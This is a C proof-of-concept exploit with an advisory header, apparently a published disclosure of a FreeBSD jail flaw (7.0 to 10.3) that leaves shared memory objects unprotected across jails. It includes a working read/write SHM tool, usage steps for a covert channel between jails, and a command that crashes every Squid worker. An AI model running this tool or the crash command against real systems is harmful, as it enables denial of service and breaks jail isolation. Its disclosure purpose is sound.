| 
	 /*******************************************************************************
 *
 * AFFECTED PRODUCTS
 *
 * This issue affects FreeBSD from 7.0 to 10.3 included.
 *
 *
 * DESCRIPTION
 *
 * FreeBSD jail incompletely protects the access to the IPC primitives.
 *
 * The 'allow.sysvipc' setting only affects IPC queues, leaving other IPC
 * objects unprotected, making them reachable system-wide independently of
 * the system configuration.
 *
 * This creates two main weaknesses:
 *
 * - An attacker able to execute commands in one jail can attack processes
 *   located outside of the jail by directly accessing their IPC objects.
 *
 * - An attacker can create a bi-directional covert-channel between two
 *   otherwise isolated jails.
 *
 *
 * MITIGATION
 *
 * There is no mitigation measure available on vulnerable systems.
 *
 * This issue is fixed in FreeBSD 11.0, the fix is also planned in the upcoming
 * FreeBSD 10.4 (the fix is already committed to the FreeBSD STABLE branch, the
 * release is currently scheduled for October, 2017).
 *
 * There is not fix planned for FreeBSD 10.3. Note that this version is an
 * extended release which will be supported, and therefore widely deployed,
 * until April 2018.
 *
 * If you are relying on FreeBSD jail for security purposes, I recommend
 * to upgrade to a fixed version.
 *
 *
 * POC
 *
 * This program demonstrate the ability to communicate in an unrestricted way
 * between FreeBSD jails through the use SHM objects.
 *
 * This technique provides:
 *
 * - A stealth way to communicate with a payload executing itself in an
 *   otherwise isolated jail.
 *
 * - A way to exploit any process (system-wide) which uses SHM objects. The
 *   result may range from a Denial-Of-Service to an effective jail-hopping or
 *   jail-escape route.
 *
 *
 * USAGE
 *
 * 1. Compile and copy this tool in two different jails:
 *
 *        user@jail1:~$ make fbsd-shm-hole
 *        cc -O2 -pipe    fbsd-shm-hole.c  -o fbsd-shm-hole
 *        user@jail1:~$
 *
 * 2. In the first jail, pass an arbitrary SHM object path and a some string to
 *    as parameter to this tool:
 *
 *        user@jail1:~$ ./fbsd-shm-hole /foo/bar "Anything there?"
 *        user@jail1:~$
 *
 * 3. On the second jail pass only the path, the content of the string will be
 *    read from the SHM object and displayed on the output:
 *
 *        user@jail2:~$ ./fbsd-shm-hole /foo/bar
 *        Anything there?
 *        user@jail2:~$
 *
 * If there is a Squid daemon running somewhere on the system with the 'worker'
 * setting set to a value equal to or greater than 2, use the following command
 * to crash all Squid's workers at once:
 *
 *     root@jail1# ./fbsd-shm-hole /squid-cache_mem_map_slices.shm 'Booh'
 *
 * They will segfault on the next request, Squid main process will remain
 * running and the listening port opened (dumb monitoring systems may not even
 * notice the crash) but Squid will be unable to handle any new request until
 * it gets restarted.
 *
 * Note that Squid uses restrictive rights on its SHM objects, so you must
 * either launch the command using the same UID as the Squid process or as
 * root in your own jail to get write permissions.
 *
 *
 * REFERENCES
 *
 * Original article:
 * https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/
 *
 ******************************************************************************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define SIZE 4096
int main(int argc, char *argv[]){
	char *str;
	int len;
	int fd;
	if (argc != 2 && argc != 3) {
		fprintf(stderr, "Usage: fbsd-shm-hole shm_path [string]\n");
		return 1;
	}
	if (argc == 2) {
		fd = shm_open(argv[1], O_RDONLY, 0666);
		if (fd == -1) {
			fprintf(stderr, "shm_open() failed: %s\n", argv[1]);
			return 1;
		}
		str = mmap(NULL, SIZE, PROT_READ, MAP_SHARED, fd, 0);
		if (str == MAP_FAILED) {
			fprintf(stderr, "mmap() failed.\n");
			return 1;
		}
		printf("%s\n", str);
	}
	else {
		len = strlen(argv[2]) + 1;
		if (len > SIZE) {
			fprintf(stderr, "String too long (%d max.)\n", SIZE);
			return 1;
		}
		fd = shm_open(argv[1], O_RDWR | O_CREAT, 0666);
		if (fd == -1) {
			fprintf(stderr, "shm_open() failed: %s\n", argv[1]);
			return 1;
		}
		if (ftruncate(fd, SIZE) == -1) {
			fprintf(stderr, "ftruncate() failed.\n");
			return 1;
		}
		str = mmap(NULL, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
		if (str == MAP_FAILED) {
			fprintf(stderr, "mmap() failed.\n");
			return 1;
		}
		memcpy(str, argv[2], len);
		close(fd);
	}
	return 0;
}
 
	
  | 
 
 
|   | 
 
  |